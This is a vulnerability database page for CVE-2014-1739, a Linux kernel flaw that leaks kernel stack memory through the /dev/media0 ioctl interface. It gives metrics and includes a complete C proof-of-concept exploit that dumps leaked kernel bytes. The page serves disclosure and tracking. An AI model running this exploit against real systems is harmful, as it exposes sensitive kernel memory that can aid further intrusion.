CVE-2014-1739 Detail

CVE-2014-1739

OWSAP

A01-Broken Access Control

EPSS

0.04%V3

Vector

Local

Published

2014-06-23
08h00 +00:00

Modified

2017-12-20
18h57 +00:00

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CVE Descriptions

The media_device_enum_entities function in drivers/media/media-device.c in the Linux kernel before 3.14.6 does not initialize a certain data structure, which allows local users to obtain sensitive information from kernel memory by leveraging /dev/media0 read access for a MEDIA_IOC_ENUM_ENTITIES ioctl call.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-200	Exposure of Sensitive Information to an Unauthorized Actor The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V2	2.1		AV:L/AC:L/Au:N/C:P/I:N/A:N	[email protected]

EPSS

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EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

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The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Exploit information

Exploit Database EDB-ID : 39214

Publication date : 2014-05-27 22h00 +00:00
Author : Salva Peiro
EDB Verified : Yes

/* source: https://www.securityfocus.com/bid/68048/info The Linux kernel is prone to a local information-disclosure vulnerability. Local attackers can exploit this issue to cause a memory leak to obtain sensitive information that may lead to further attacks. Linux kernel 2.6.38 through 3.15-rc2 are vulnerable. */ /* * $File: media-enum-poc.c * $Description: CVE-2014-1739: Infoleak PoC in media_device_enum_entities() leaking 200 kstack bytes on x86_32. * $Author: Salva Peiró <[email protected]> (c) Copyright 2014. * $URL: http://speirofr.appspot.com/files/media-enum-poc.c * $License: GPLv2. */ #include <stdio.h> #include <fcntl.h> #include <string.h> #include <stdint.h> #include <sys/ioctl.h> #include <linux/media.h> #define MEDIA_DEV "/dev/media0" int main(int argc, char *argv[]) { struct media_entity_desc u_ent = {}; char *file = MEDIA_DEV; int i, fd, ret; if (argc > 1) file = argv[1]; fd = open(file, O_RDONLY); if (fd < 0){ perror("open " MEDIA_DEV); return -1; } u_ent.id = 0 | MEDIA_ENT_ID_FLAG_NEXT; ret=ioctl(fd, MEDIA_IOC_ENUM_ENTITIES, &u_ent); if (ret < 0){ perror("ioctl " MEDIA_DEV); return -1; } printf("[*] CVE-2014-1739: Infoleak PoC in media_device_enum_entities() leaking %d kstack bytes:", sizeof(u_ent.reserved) + sizeof(u_ent.raw)); for (i = 0; i < 200/sizeof(uint32_t); i++) { uint32_t data = *(uint32_t*)((uint32_t*)&u_ent.reserved+i); if (i % 4 == 0) printf("\n %08d: ", i); printf("0x%08x ", data); } printf("\n"); return ret; } /* gcc -Wall -g -m32 media-enum-poc.c -o media-enum-poc # */